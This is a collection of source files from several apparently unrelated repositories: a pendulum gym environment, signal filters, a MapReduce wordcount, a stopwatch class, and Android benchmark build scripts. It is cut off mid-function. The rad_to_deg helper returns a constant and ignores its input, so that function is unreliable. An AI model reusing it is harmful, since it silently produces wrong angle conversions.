#### File: simple_pendulum/simulation/gym_environment.py ```python import gym import numpy as np class SimplePendulumEnv(gym.Env): """ An environment for reinforcement learning """ def __init__(self, simulator, max_steps=5000, target=[np.pi, 0.0], state_target_epsilon=[1e-2, 1e-2], reward_type='continuous', dt=1e-3, integrator='runge_kutta', state_representation=2, validation_limit=-150, scale_action=True, random_init="False"): """ An environment for reinforcement learning. Parameters ---------- simulator : simulator object max_steps : int, default=5000 maximum steps the agent can take before the episode is terminated target : array-like, default=[np.pi, 0.0] the target state of the pendulum state_target_epsilon: array-like, default=[1e-2, 1e-2] target epsilon for discrete reward type reward_type : string, default='continuous' the reward type selects the reward function which is used options are: 'continuous', 'discrete', 'soft_binary', 'soft_binary_with_repellor', 'open_ai_gym' dt : float, default=1e-3 timestep for the simulation integrator : string, default='runge_kutta' the integrator which is used by the simulator options : 'euler', 'runge_kutta' state_representation : int, default=2 determines how the state space of the pendulum is represented 2 means state = [position, velocity] 3 means state = [cos(position), sin(position), velocity] validation_limit : float, default=-150 If the reward during validation episodes surpasses this value the training stops early scale_action : bool, default=True whether to scale the output of the model with the torque limit of the simulator's plant. If True the model is expected so return values in the intervall [-1, 1] as action. random_init : string, default="False" A string determining the random state initialisation "False" : The pendulum is set to [0, 0], "start_vicinity" : The pendulum position and velocity are set in the range [-0.31, -0.31], "everywhere" : The pendulum is set to a random state in the whole possible state space """ self.simulator = simulator self.max_steps = max_steps self.target = target self.target[0] = self.target[0] % (2*np.pi) self.state_target_epsilon = state_target_epsilon self.reward_type = reward_type self.dt = dt self.integrator = integrator self.state_representation = state_representation self.validation_limit = validation_limit self.scale_action = scale_action self.random_init = random_init self.torque_limit = simulator.plant.torque_limit if state_representation == 2: # state is [th, vel] self.low = np.array([-6*2*np.pi, -8]) self.high = np.array([6*2*np.pi, 8]) self.observation_space = gym.spaces.Box(self.low, self.high) elif state_representation == 3: # state is [cos(th), sin(th), vel] self.low = np.array([-1., -1., -8.]) self.high = np.array([1., 1., 8.]) self.observation_space = gym.spaces.Box(self.low, self.high) if scale_action: self.action_space = gym.spaces.Box(-1, 1, shape=[1]) else: self.action_space = gym.spaces.Box(-self.torque_limit, self.torque_limit, shape=[1]) self.state_shape = self.observation_space.shape self.n_actions = self.action_space.shape[0] self.n_states = self.observation_space.shape[0] self.action_limits = [-self.torque_limit, self.torque_limit] self.simulator.set_state(0, [0.0, 0.0]) self.step_count = 0 def step(self, action): """ Take a step in the environment. Parameters ---------- action : float the torque that is applied to the pendulum Returns ------- observation : array-like the observation from the environment after the step reward : float the reward received on this step done : bool whether the episode has terminated info : dictionary may contain additional information (empty at the moment) """ if self.scale_action: a = float(self.torque_limit * action) # rescaling the action else: a = float(action) self.simulator.step(a, self.dt, self.integrator) current_t, current_state = self.simulator.get_state() # current_state is [position, velocity] reward = self.swingup_reward(current_state, a) observation = self.get_observation(current_state) done = self.check_final_condition() info = {} self.step_count += 1 return observation, reward, done, info def reset(self, state=None, random_init="start_vicinity"): """ Reset the environment. The pendulum is initialized with a random state in the vicinity of the stable fixpoint (position and velocity are in the range[-0.31, 0.31]) Parameters ---------- state : array-like, default=None the state to which the environment is reset if state==None it defaults to the random initialisation random_init : string, default=None A string determining the random state initialisation if None, defaults to self.random_init "False" : The pendulum is set to [0, 0], "start_vicinity" : The pendulum position and velocity are set in the range [-0.31, -0.31], "everywhere" : The pendulum is set to a random state in the whole possible state space Returns ------- observation : array-like the state the pendulum has been initilized to Raises: ------- NotImplementedError when state==None and random_init does not indicate one of the implemented initializations """ self.simulator.reset_data_recorder() self.step_count = 0 if state is not None: init_state = np.copy(state) else: if random_init is None: random_init = self.random_init if random_init == "False": init_state = np.array([0.0, 0.0]) elif random_init == "start_vicinity": pos_range = np.pi/10 vel_range = np.pi/10 init_state = np.array([ np.random.rand()*2*pos_range - pos_range, np.random.rand()*2*vel_range - vel_range]) elif random_init == "everywhere": pos_range = np.pi vel_range = 1.0 init_state = np.array([ np.random.rand()*2*pos_range - pos_range, np.random.rand()*2*vel_range - vel_range]) else: raise NotImplementedError( f'Sorry, random initialization {random_init}' + 'is not implemented.') self.simulator.set_state(0, init_state) current_t, current_state = self.simulator.get_state() observation = self.get_observation(current_state) return observation def render(self, mode='human'): pass def close(self): pass # some helper methods def get_observation(self, state): """ Transform the state from the simulator an observation by wrapping the position to the observation space. If state_representation==3 also transforms the state to the trigonometric value form. Parameters ---------- state : array-like state as output by the simulator Returns ------- observation : array-like observation in environment format """ st = np.copy(state) st[1] = np.clip(st[1], self.low[-1], self.high[-1]) if self.state_representation == 2: observation = np.array([obs for obs in st], dtype=np.float32) observation[0] = (observation[0] + 6*np.pi) % (np.pi*6*2) - 6*np.pi elif self.state_representation == 3: observation = np.array([np.cos(st[0]), np.sin(st[0]), st[1]], dtype=np.float32) return observation def get_state_from_observation(self, obs): """ Transform the observation to a pendulum state. Does nothing for state_representation==2. If state_representation==3 transforms trigonometric form back to regular form. Parameters ---------- obs : array-like observation as received from get_observation Returns ------- state : array-like state in simulator form """ if self.state_representation == 2: state = np.copy(obs) elif self.state_representation == 3: state = np.array([np.arctan2(obs[1], obs[0]), obs[2]]) return state def swingup_reward(self, observation, action): """ Calculate the reward for the pendulum for swinging up to the instable fixpoint. The reward function is selected based on the reward type defined during the object inizialization. Parameters ---------- state : array-like the observation that has been received from the environment Returns ------- reward : float the reward for swinging up Raises ------ NotImplementedError when the requested reward_type is not implemented """ reward = None pos = observation[0] % (2*np.pi) pos_diff = self.target[0] - pos pos_diff = np.abs((pos_diff + np.pi) % (np.pi * 2) - np.pi) vel = np.clip(observation[1], self.low[-1], self.high[-1]) if self.reward_type == 'continuous': reward = - np.linalg.norm(pos_diff) elif self.reward_type == 'discrete': reward = np.float(np.linalg.norm(pos_diff) < self.state_target_epsilon[0]) elif self.reward_type == 'soft_binary': reward = np.exp(-pos_diff**2/(2*0.25**2)) elif self.reward_type == 'soft_binary_with_repellor': reward = np.exp(-pos_diff ** 2 / (2 * 0.25 ** 2)) pos_diff_repellor = pos - 0 reward -= np.exp(-pos_diff_repellor ** 2 / (2 * 0.25 ** 2)) elif self.reward_type == "open_ai_gym": vel_diff = self.target[1] - vel reward = (-(pos_diff)**2.0 - 0.1*(vel_diff)**2.0 - 0.001*action**2.0) elif self.reward_type == "open_ai_gym_red_torque": vel_diff = self.target[1] - vel reward = (-(pos_diff)**2.0 - 0.1*(vel_diff)**2.0 - 0.01*action**2.0) else: raise NotImplementedError( f'Sorry, reward type {self.reward_type} is not implemented.') return reward def check_final_condition(self): """ Checks whether a terminating condition has been met. The only terminating condition for the pendulum is if the maximum number of steps has been reached. Returns ------- done : bool whether a terminating condition has been met """ done = False if self.step_count > self.max_steps: done = True return done def is_goal(self, obs): """ Checks whether an observation is in the goal region. The goal region is specified by the target and state_target_epsilon parameters in the class initialization. Parameters ---------- obs : array-like observation as received from get_observation Returns ------- goal : bool whether to observation is in the goal region """ goal = False state = self.get_state_from_observation(obs) pos = state[0] % (2*np.pi) vel = np.clip(state[1], self.low[-1], self.high[-1]) pos_diff = self.target[0] - pos pos_diff = np.abs((pos_diff + np.pi) % (np.pi * 2) - np.pi) vel_diff = self.target[1] - vel if np.abs(pos_diff) < self.state_target_epsilon[0] and \ np.abs(vel_diff) < self.state_target_epsilon[1]: goal = True return goal def validation_criterion(self, validation_rewards, final_obs=None, criterion=None): """ Checks whether a list of rewards and optionally final observations fulfill the validation criterion. The validation criterion is fulfilled if the mean of the validation_rewards id greater than criterion. If final obs is also given, at least 90% of the observations have to be in the goal region. Parameters ---------- validation_rewards : array-like A list of rewards (floats). final_obs : array-like, default=None A list of final observations. If None final observations are not considered. criterion: float, default=None The reward limit which has to be surpassed. Returns ------- passed : bool Whether the rewards pass the validation test """ if criterion is None: criterion = self.validation_limit N = len(validation_rewards) goal_reached = 0 if final_obs is not None: for f in final_obs: if self.is_goal(f): goal_reached += 1 else: goal_reached = N passed = False if np.mean(validation_rewards) > criterion: if goal_reached/N > 0.9: passed = True n_passed = np.count_nonzero(np.asarray(validation_rewards) > criterion) print("Validation: ", end="") print(n_passed, "/", str(N), " passed reward limit, ", end="") print("Mean reward: ", np.mean(validation_rewards), ", ", end="") print(goal_reached, "/", len(final_obs), " found target state") return passed ``` #### File: utilities/filters/fast_fourier_transform.py ```python import pandas as pd import numpy as np import matplotlib.pyplot as plt from scipy.fftpack import rfft, irfft, rfftfreq # Fast Fourier Transform (FFT) def fast_fourier_transform(data_measured, data_desired, n, t): # Define function on which the FFT shall be executed dm_pos = data_measured["pos"] dm_vel = data_measured["vel"] dm_tau = data_measured["torque"] dml = [dm_pos, dm_vel, dm_tau] # dml is of type list and will later be reconverted to type dataframe dd_pos = data_desired["pos"] dd_vel = data_desired["vel"] dd_tau = data_desired["torque"] ddl = [dd_pos, dd_vel, dd_tau] # ddl is of type list and will later be reconverted to type dataframe # Compute the FFT dm_hat = np.fft.fft(dml, n) # Compute the power spectrum density for pos, vel, tau psd_measured = dm_hat * np.conj(dm_hat) / n # power spectrum density # Use the PSD to filter out noise bounds = [30, 100, 300] # frequencies with lower PSD than bounds get cut off indices = np.empty_like(psd_measured) for i in range(len(indices)): indices[i] = psd_measured[i] > bounds[i] # find all freqs with large power psd_filtered = psd_measured * indices # zero out all others dm_hat = indices * dm_hat # zero out small Fourier coeffs. in Y f = np.fft.ifft(dm_hat) # inverse FFT for filtered time signal # Convert lists back to dataframes dm_t = pd.DataFrame(dml) # convert lists dml, ddl and f back to type dataframe dd_t = pd.DataFrame(ddl) df_t = pd.DataFrame(f) dm = dm_t.T # transpose dataframes dd = dd_t.T df = df_t.T dm.insert(0, "time", t, True) # insert new time column into dataframes dd.insert(0, "time", t, True) df.insert(0, "time", t, True) df.columns = ['time', 'pos', 'vel', 'torque'] # rename columns of df return dm, dd, df, psd_measured, psd_filtered # FFT scipy alternative def scipy_fft(data_measured, smooth_freq=100): w = rfft(data_measured) # FFT where data_measured is an array spectrum = w**2 # squared amplitudes w of the FFT # cuts off frequencies that are much lower (/smooth_freq) then the main frequency at spectrum.max.() cutoff_idx = spectrum < (spectrum.max() / smooth_freq) w2 = w.copy() w2[cutoff_idx] = 0 # inverses the filtered FFT values back to the original data type data_filtered = irfft(w2) return data_filtered ``` #### File: utilities/filters/savitzky_golay.py ```python from scipy.signal import savgol_filter import pandas as pd # Savitzky-Golay Filter # Local least-squares polynomial approximation. # Delay = (window-1)/2 * delta_t def savitzky_golay_filter(data_measured, window, degree): data_filtered = pd.DataFrame(columns=data_measured.columns) data_filtered['time'] = data_measured['time'] data_filtered[['pos', 'vel', 'torque']] = savgol_filter(data_measured[['pos', 'vel', 'torque']], window, degree, mode='nearest', axis=0) return data_filtered ``` #### File: simple_pendulum/utilities/unit_conversion.py ```python import numpy as np def rad_to_deg(theta_rad): theta_deg = 180.0*np.pi return theta_deg def deg_to_rad(theta_deg): theta_rad = (theta_deg*np.pi)/180.0 return theta_rad ```
{ "source": "JingningLi/GWU_Big_Data", "score": 3 }
#### File: GWU_Big_Data/HW1/wordcount_mapper.py ```python import sys def main(argv): try: for line in sys.stdin: line = line.rstrip() words = line.split() for word in words: print("LongValueSum:" + word + "\t" + "1") except EOFError: return None if __name__ == "__main__": main(sys.argv) ``` #### File: GWU_Big_Data/HW1/wordcount_reducer.py ```python import sys def main(argv): try: oldWord = None oldSum = 0 for line in sys.stdin: (key,value) = line.rstrip().split('\t') if key.startswith('LongValueSum:'): word = key[13:] if word!=oldWord: if oldWord: print("{}: {}".format(oldWord,oldSum)) oldWord = word oldSum = 0 oldSum += int(value) except EOFError: pass if oldWord: print("{}: {}".format(oldWord,oldSum)) return None if __name__ == "__main__": main(sys.argv) ```
{ "source": "jin/google-apputils", "score": 3 }
#### File: google/apputils/stopwatch.py ```python import io import time __owner__ = '<EMAIL> (<NAME>)' class StopWatch(object): """Class encapsulating a timer; see above for example usage. Instance variables: timers: map of stopwatch name -> time for each currently running stopwatch, where time is seconds from the epoch of when this stopwatch was started. accum: map of stopwatch name -> accumulated time, in seconds, it has already been run for. stopped: map of timer name -> list of timer names that are blocking it. counters: map of timer name -> number of times it has been started. """ def __init__(self): self.timers = {} self.accum = {} self.stopped = {} self.counters = {} def start(self, timer='total', stop_others=True): """Start a timer. Args: timer: str; name of the timer to start, defaults to the overall timer. stop_others: bool; if True, stop all other running timers. If False, then you can have time that is spent inside more than one timer and there's a good chance that the overhead measured will be negative. """ if stop_others: stopped = [] for other in list(self.timers): if not other == 'total': self.stop(other) stopped.append(other) self.stopped[timer] = stopped self.counters[timer] = self.counters.get(timer, 0) + 1 self.timers[timer] = time.time() def stop(self, timer='total'): """Stop a running timer. This includes restarting anything that was stopped on behalf of this timer. Args: timer: str; name of the timer to stop, defaults to the overall timer. Raises: RuntimeError: if timer refers to a timer that was never started. """ if timer not in self.timers: raise RuntimeError( 'Tried to stop timer that was never started: %s' % timer) self.accum[timer] = self.timervalue(timer) del self.timers[timer] for stopped in self.stopped.get(timer, []): self.start(stopped, stop_others=0) def timervalue(self, timer='total', now=None): """Return the value seen by this timer so far. If the timer is stopped, this will be the accumulated time it has seen. If the timer is running, this will be the time it has seen up to now. If the timer has never been started, this will be zero. Args: timer: str; the name of the timer to report on. now: long; if provided, the time to use for 'now' for running timers. """ if not now: now = time.time() if timer in self.timers: # Timer is running now. return self.accum.get(timer, 0.0) + (now - self.timers[timer]) elif timer in self.accum: # Timer is stopped. return self.accum[timer] else: # Timer is never started. return 0.0 def overhead(self, now=None): """Calculate the overhead. Args: now: (optional) time to use as the current time. Returns: The overhead, that is, time spent in total but not in any sub timer. This may be negative if time was counted in two sub timers. Avoid this by always using stop_others. """ total = self.timervalue('total', now) if total == 0.0: return 0.0 all_timers = sum(self.accum.itervalues()) return total - (all_timers - total) def results(self, verbose=False): """Get the results of this stopwatch. Args: verbose: bool; if True, show all times; otherwise, show only the total. Returns: A list of tuples showing the output of this stopwatch, of the form (name, value, num_starts) for each timer. Note that if the total timer is not used, non-verbose results will be the empty list. """ now = time.time() all_names = self.accum.keys() names = [] if 'total' in all_names: all_names.remove('total') all_names.sort() if verbose: names = all_names results = [(name, self.timervalue(name, now=now), self.counters[name]) for name in names] if verbose: results.append(('overhead', self.overhead(now=now), 1)) if 'total' in self.accum or 'total' in self.timers: results.append(('total', self.timervalue('total', now=now), self.counters['total'])) return results def dump(self, verbose=False): """Describes where time in this stopwatch was spent. Args: verbose: bool; if True, show all timers; otherwise, show only the total. Returns: A string describing the stopwatch. """ output = io.StringIO() results = self.results(verbose=verbose) maxlength = max([len(result[0]) for result in results]) for result in results: output.write('%*s: %6.2fs\n' % (maxlength, result[0], result[1])) return output.getvalue() # Create a stopwatch to be publicly used. sw = StopWatch() ```
{ "source": "jingpad-bsp/android_external_toolchain-utils", "score": 2 }
#### File: android_external_toolchain-utils/android_bench_suite/apply_patches.py ```python from __future__ import print_function import config import os import subprocess # The patches to be added to the android repo. # An error may occur if it is already patched, or meets some error. # FIXME: Needs to be FIXED in the future. def try_patch_skia(): skia_dir = os.path.join(config.android_home, config.bench_dict['Skia']) # You may want to change the file based on aosp or internal if config.android_type == 'internal': print('No need to patch skia for internal repo.') return elif config.android_type == 'aosp': skia_patch = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'skia_aosp.diff') else: raise ValueError('Adnroid source type should be either aosp or internal.') # FIXME: A quick hack, need to handle errors and check whether has been # applied in the future. try: subprocess.check_call(['git', '-C', skia_dir, 'apply', skia_patch]) print('Skia patched successfully!') except subprocess.CalledProcessError: print('Skia patch not applied, error or already patched.') def try_patch_autotest(): # Patch autotest, which includes all the testcases on device, setting device, # and running the benchmarks autotest_dir = os.path.join(config.android_home, config.autotest_dir) autotest_patch = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'autotest.diff') dex2oat_dir = os.path.join(autotest_dir, 'server/site_tests/android_Dex2oat') panorama_dir = os.path.join(autotest_dir, 'server/site_tests/android_Panorama') # FIXME: A quick hack, need to handle errors and check whether has been # applied in the future. try: subprocess.check_call(['git', '-C', autotest_dir, 'apply', autotest_patch]) subprocess.check_call(['cp', '-rf', 'dex2oat_input', dex2oat_dir]) subprocess.check_call(['cp', '-rf', 'panorama_input', panorama_dir]) print('Autotest patched successfully!') except subprocess.CalledProcessError: print('Autotest patch not applied, error or already patched.') def try_patch_panorama(): panorama_dir = os.path.join(config.android_home, config.bench_dict['Panorama']) panorama_patch = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'panorama.diff') # FIXME: A quick hack, need to handle errors and check whether has been # applied in the future. try: subprocess.check_call(['git', '-C', panorama_dir, 'apply', panorama_patch]) print('Panorama patched successfully!') except subprocess.CalledProcessError: print('Panorama patch not applied, error or already patched.') def try_patch_synthmark(): synthmark_dir = 'devrel/tools/synthmark' # FIXME: A quick hack, need to handle errors and check whether has been # applied in the future. try: subprocess.check_call([ 'bash', '-c', 'mkdir devrel && ' 'cd devrel && ' 'repo init -u sso://devrel/manifest && ' 'repo sync tools/synthmark' ]) synthmark_patch = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'synthmark.diff') subprocess.check_call(['git', '-C', synthmark_dir, 'apply', synthmark_patch]) subprocess.check_call(['mv', '-f', synthmark_dir, config.android_home]) subprocess.check_call(['rm', '-rf', 'devrel']) print('Synthmark patched successfully!') except subprocess.CalledProcessError: print('Synthmark patch not applied, error or already patched.') def main(): try_patch_skia() try_patch_autotest() try_patch_panorama() try_patch_synthmark() if __name__ == '__main__': main() ``` #### File: android_external_toolchain-utils/android_bench_suite/build_bench.py ```python from __future__ import print_function import argparse import config import logging import os import subprocess import sys # Turn the logging level to INFO before importing other code, to avoid having # failed import logging messages confuse the user. logging.basicConfig(level=logging.INFO) def _parse_arguments_internal(argv): parser = argparse.ArgumentParser(description='Build benchmarks with ' 'specified toolchain settings') parser.add_argument( '-b', '--bench', required=True, help='Select the benchmark to be built.') parser.add_argument( '-c', '--compiler_dir', metavar='DIR', help='Specify the path to the compiler bin ' 'directory.') parser.add_argument( '-o', '--build_os', help='Specify the host OS to build benchmark.') parser.add_argument( '-l', '--llvm_prebuilts_version', help='Specify the version of prebuilt LLVM.') parser.add_argument( '-f', '--cflags', help='Specify the optimization cflags for ' 'the toolchain.') parser.add_argument( '--ldflags', help='Specify linker flags for the toolchain.') return parser.parse_args(argv) # Set flags for compiling benchmarks, by changing the local # CFLAGS/LDFLAGS in the android makefile of each benchmark def set_flags(bench, cflags, ldflags): if not cflags: logging.info('No CFLAGS specified, using default settings.') cflags = '' else: logging.info('Cflags setting to "%s"...', cflags) if not ldflags: logging.info('No LDFLAGS specifed, using default settings.') ldflags = '' else: logging.info('Ldflags setting to "%s"...', ldflags) add_flags = config.bench_flags_dict[bench] add_flags(cflags, ldflags) logging.info('Flags set successfully!') def set_build_os(build_os): # Set $BUILD_OS variable for android makefile if build_os: os.environ['BUILD_OS'] = build_os logging.info('BUILD_OS set to "%s"...', build_os) else: logging.info('No BUILD_OS specified, using linux as default...') def set_llvm_prebuilts_version(llvm_prebuilts_version): # Set $LLVM_PREBUILTS_VERSION for android makefile if llvm_prebuilts_version: os.environ['LLVM_PREBUILTS_VERSION'] = llvm_prebuilts_version logging.info('LLVM_PREBUILTS_VERSION set to "%s"...', llvm_prebuilts_version) else: logging.info('No LLVM_PREBUILTS_VERSION specified, using default one...') def set_compiler(compiler): # If compiler_dir has been specified, copy the binaries to # a temporary location, set BUILD_OS and LLVM_PREBUILTS_VERSION # variables to the location if compiler: # Report error if path not exits if not os.path.isdir(compiler): logging.error('Error while setting compiler: ' 'Directory %s does not exist!', compiler) raise OSError('Directory %s not exist.' % compiler) # Specify temporary directory for compiler tmp_dir = os.path.join(config.android_home, 'prebuilts/clang/host/linux-x86', 'clang-tmp') compiler_content = os.path.join(compiler, '.') # Copy compiler to new directory try: subprocess.check_call(['cp', '-rf', compiler_content, tmp_dir]) except subprocess.CalledProcessError: logging.error('Error while copying the compiler to ' 'temporary directory %s!', tmp_dir) raise # Set environment variable os.environ['LLVM_PREBUILTS_VERSION'] = 'clang-tmp' logging.info('Prebuilt Compiler set as %s.', os.path.abspath(compiler)) def set_compiler_env(bench, compiler, build_os, llvm_prebuilts_version, cflags, ldflags): logging.info('Setting compiler options for benchmark...') # If no specific prebuilt compiler directory, use BUILD_OS and # LLVM_PREBUILTS_VERSION to set the compiler version. # Otherwise, use the new prebuilt compiler. if not compiler: set_build_os(build_os) set_llvm_prebuilts_version(llvm_prebuilts_version) else: set_compiler(compiler) set_flags(bench, cflags, ldflags) return 0 def remove_tmp_dir(): tmp_dir = os.path.join(config.android_home, 'prebuilts/clang/host/linux-x86', 'clang-tmp') try: subprocess.check_call(['rm', '-r', tmp_dir]) except subprocess.CalledProcessError: logging.error('Error while removing the temporary ' 'compiler directory %s!', tmp_dir) raise # Recover the makefile/blueprint from our patch after building def restore_makefile(bench): pwd = os.path.join(config.android_home, config.bench_dict[bench]) mk_file = os.path.join(pwd, 'Android.mk') if not os.path.exists(mk_file): mk_file = os.path.join(pwd, 'Android.bp') subprocess.check_call(['mv', os.path.join(pwd, 'tmp_makefile'), mk_file]) # Run script to build benchmark def build_bench(bench, source_dir): logging.info('Start building benchmark...') raw_cmd = ('cd {android_home} ' '&& source build/envsetup.sh ' '&& lunch {product_combo} ' '&& mmma {source_dir} -j48'.format( android_home=config.android_home, product_combo=config.product_combo, source_dir=source_dir)) log_file = os.path.join(config.bench_suite_dir, 'build_log') with open(log_file, 'a') as logfile: log_head = 'Log for building benchmark: %s\n' % (bench) logfile.write(log_head) try: subprocess.check_call( ['bash', '-c', raw_cmd], stdout=logfile, stderr=logfile) except subprocess.CalledProcessError: logging.error('Error while running %s, please check ' '%s for more info.', raw_cmd, log_file) restore_makefile(bench) raise logging.info('Logs for building benchmark %s are written to %s.', bench, log_file) logging.info('Benchmark built successfully!') def main(argv): arguments = _parse_arguments_internal(argv) bench = arguments.bench compiler = arguments.compiler_dir build_os = arguments.build_os llvm_version = arguments.llvm_prebuilts_version cflags = arguments.cflags ldflags = arguments.ldflags try: source_dir = config.bench_dict[bench] except KeyError: logging.error('Please select one benchmark from the list below:\n\t' + '\n\t'.join(config.bench_list)) raise set_compiler_env(bench, compiler, build_os, llvm_version, cflags, ldflags) build_bench(bench, source_dir) # If flags has been set, remember to restore the makefile/blueprint to # original ones. restore_makefile(bench) # If a tmp directory is used for compiler path, remove it after building. if compiler: remove_tmp_dir() if __name__ == '__main__': main(sys.argv[1:]) ``` #### File: android_external_toolchain-utils/android_bench_suite/discard_patches.py ```python from __future__ import print_function import config import os import subprocess def discard_git(path): try: subprocess.check_call(['git', '-C', path, 'reset']) subprocess.check_call(['git', '-C', path, 'clean', '-fdx']) subprocess.check_call(['git', '-C', path, 'stash']) print('Patch in %s removed successfully!' % path) except subprocess.CalledProcessError: print('Error while removing patch in %s' % path) def dispatch_skia(): skia_dir = os.path.join(config.android_home, config.bench_dict['Skia']) discard_git(skia_dir) def dispatch_autotest(): autotest_dir = os.path.join(config.android_home, config.autotest_dir) discard_git(autotest_dir) def dispatch_panorama(): panorama_dir = os.path.join(config.android_home, config.bench_dict['Panorama']) discard_git(panorama_dir) def dispatch_synthmark(): synthmark_dir = 'synthmark' try: subprocess.check_call( ['rm', '-rf', os.path.join(config.android_home, synthmark_dir)]) print('Synthmark patch removed successfully!') except subprocess.CalledProcessError: print('Synthmark is not removed. Error occurred.') def main(): dispatch_skia() dispatch_autotest() dispatch_panorama() dispatch_synthmark() if __name__ == '__main__': main() ``` #### File: android_external_toolchain-utils/android_bench_suite/fix_json.py ```python from __future__ import print_function import argparse import config import json import logging import os import subprocess import sys # Turn the logging level to INFO before importing other autotest # code, to avoid having failed import logging messages confuse the # test_droid user. logging.basicConfig(level=logging.INFO) def _parse_arguments_internal(argv): parser = argparse.ArgumentParser(description='Convert result to JSON' 'format') parser.add_argument( '-b', '--bench', help='Generate JSON format file for which benchmark.') return parser.parse_args(argv) def fix_json(bench): # Set environment variable for crosperf os.environ['PYTHONPATH'] = os.path.dirname(config.toolchain_utils) logging.info('Generating Crosperf Report...') json_path = os.path.join(config.bench_suite_dir, bench + '_refined') crosperf_cmd = [ os.path.join(config.toolchain_utils, 'generate_report.py'), '--json', '-i=' + os.path.join(config.bench_suite_dir, bench + '.json'), '-o=' + json_path, '-f' ] # Run crosperf generate_report.py logging.info('Command: %s', crosperf_cmd) subprocess.call(crosperf_cmd) json_path += '.json' with open(json_path) as fout: objs = json.load(fout) for obj in objs: obj['branch_name'] = 'aosp/master' obj['build_id'] = 0 with open(json_path, 'w') as fout: json.dump(objs, fout) logging.info('JSON file fixed successfully!') def main(argv): arguments = _parse_arguments_internal(argv) bench = arguments.bench fix_json(bench) if __name__ == '__main__': main(sys.argv[1:]) ``` #### File: android_external_toolchain-utils/android_bench_suite/run.py ```python from __future__ import print_function import argparse import config import ConfigParser import logging import os import subprocess import sys logging.basicConfig(level=logging.INFO) def _parse_arguments(argv): parser = argparse.ArgumentParser(description='Build and run specific ' 'benchamrk') parser.add_argument( '-b', '--bench', action='append', default=[], help='Select which benchmark to run') # Only one of compiler directory and llvm prebuilts version can be indicated # at the beginning, so set -c and -l into a exclusive group. group = parser.add_mutually_exclusive_group() # The toolchain setting arguments has action of 'append', so that users # could compare performance with several toolchain settings together. group.add_argument( '-c', '--compiler_dir', metavar='DIR', action='append', default=[], help='Specify path to the compiler\'s bin directory. ' 'You shall give several paths, each with a -c, to ' 'compare performance differences in ' 'each compiler.') parser.add_argument( '-o', '--build_os', action='append', default=[], help='Specify the host OS to build the benchmark.') group.add_argument( '-l', '--llvm_prebuilts_version', action='append', default=[], help='Specify the version of prebuilt LLVM. When ' 'specific prebuilt version of LLVM already ' 'exists, no need to pass the path to compiler ' 'directory.') parser.add_argument( '-f', '--cflags', action='append', default=[], help='Specify the cflags options for the toolchain. ' 'Be sure to quote all the cflags with quotation ' 'mark("") or use equal(=).') parser.add_argument( '--ldflags', action='append', default=[], help='Specify linker flags for the toolchain.') parser.add_argument( '-i', '--iterations', type=int, default=1, help='Specify how many iterations does the test ' 'take.') # Arguments -s and -r are for connecting to DUT. parser.add_argument( '-s', '--serials', help='Comma separate list of device serials under ' 'test.') parser.add_argument( '-r', '--remote', default='localhost', help='hostname[:port] if the ADB device is connected ' 'to a remote machine. Ensure this workstation ' 'is configured for passwordless ssh access as ' 'users "root" or "adb"') # Arguments -frequency and -m are for device settings parser.add_argument( '--frequency', type=int, default=960000, help='Specify the CPU frequency of the device. The ' 'unit is KHZ. The available value is defined in' 'cpufreq/scaling_available_frequency file in ' 'device\'s each core directory. ' 'The default value is 960000, which shows a ' 'balance in noise and performance. Lower ' 'frequency will slow down the performance but ' 'reduce noise.') parser.add_argument( '-m', '--mode', default='little', help='User can specify whether \'little\' or \'big\' ' 'mode to use. The default one is little mode. ' 'The little mode runs on a single core of ' 'Cortex-A53, while big mode runs on single core ' 'of Cortex-A57.') # Configure file for benchmark test parser.add_argument( '-t', '--test', help='Specify the test settings with configuration ' 'file.') # Whether to keep old json result or not parser.add_argument( '-k', '--keep', default='False', help='User can specify whether to keep the old json ' 'results from last run. This can be useful if you ' 'want to compare performance differences in two or ' 'more different runs. Default is False(off).') return parser.parse_args(argv) # Clear old log files in bench suite directory def clear_logs(): logging.info('Removing old logfiles...') for f in ['build_log', 'device_log', 'test_log']: logfile = os.path.join(config.bench_suite_dir, f) try: os.remove(logfile) except OSError: logging.info('No logfile %s need to be removed. Ignored.', f) logging.info('Old logfiles been removed.') # Clear old json files in bench suite directory def clear_results(): logging.info('Clearing old json results...') for bench in config.bench_list: result = os.path.join(config.bench_suite_dir, bench + '.json') try: os.remove(result) except OSError: logging.info('no %s json file need to be removed. Ignored.', bench) logging.info('Old json results been removed.') # Use subprocess.check_call to run other script, and put logs to files def check_call_with_log(cmd, log_file): log_file = os.path.join(config.bench_suite_dir, log_file) with open(log_file, 'a') as logfile: log_header = 'Log for command: %s\n' % (cmd) logfile.write(log_header) try: subprocess.check_call(cmd, stdout=logfile) except subprocess.CalledProcessError: logging.error('Error running %s, please check %s for more info.', cmd, log_file) raise logging.info('Logs for %s are written to %s.', cmd, log_file) def set_device(serials, remote, frequency): setting_cmd = [ os.path.join( os.path.join(config.android_home, config.autotest_dir), 'site_utils/set_device.py') ] setting_cmd.append('-r=' + remote) setting_cmd.append('-q=' + str(frequency)) # Deal with serials. # If there is no serails specified, try to run test on the only device. # If specified, split the serials into a list and run test on each device. if serials: for serial in serials.split(','): setting_cmd.append('-s=' + serial) check_call_with_log(setting_cmd, 'device_log') setting_cmd.pop() else: check_call_with_log(setting_cmd, 'device_log') logging.info('CPU mode and frequency set successfully!') def log_ambiguous_args(): logging.error('The count of arguments does not match!') raise ValueError('The count of arguments does not match.') # Check if the count of building arguments are log_ambiguous or not. The # number of -c/-l, -f, and -os should be either all 0s or all the same. def check_count(compiler, llvm_version, build_os, cflags, ldflags): # Count will be set to 0 if no compiler or llvm_version specified. # Otherwise, one of these two args length should be 0 and count will be # the other one. count = max(len(compiler), len(llvm_version)) # Check if number of cflags is 0 or the same with before. if len(cflags) != 0: if count != 0 and len(cflags) != count: log_ambiguous_args() count = len(cflags) if len(ldflags) != 0: if count != 0 and len(ldflags) != count: log_ambiguous_args() count = len(ldflags) if len(build_os) != 0: if count != 0 and len(build_os) != count: log_ambiguous_args() count = len(build_os) # If no settings are passed, only run default once. return max(1, count) # Build benchmark binary with toolchain settings def build_bench(setting_no, bench, compiler, llvm_version, build_os, cflags, ldflags): # Build benchmark locally build_cmd = ['./build_bench.py', '-b=' + bench] if compiler: build_cmd.append('-c=' + compiler[setting_no]) if llvm_version: build_cmd.append('-l=' + llvm_version[setting_no]) if build_os: build_cmd.append('-o=' + build_os[setting_no]) if cflags: 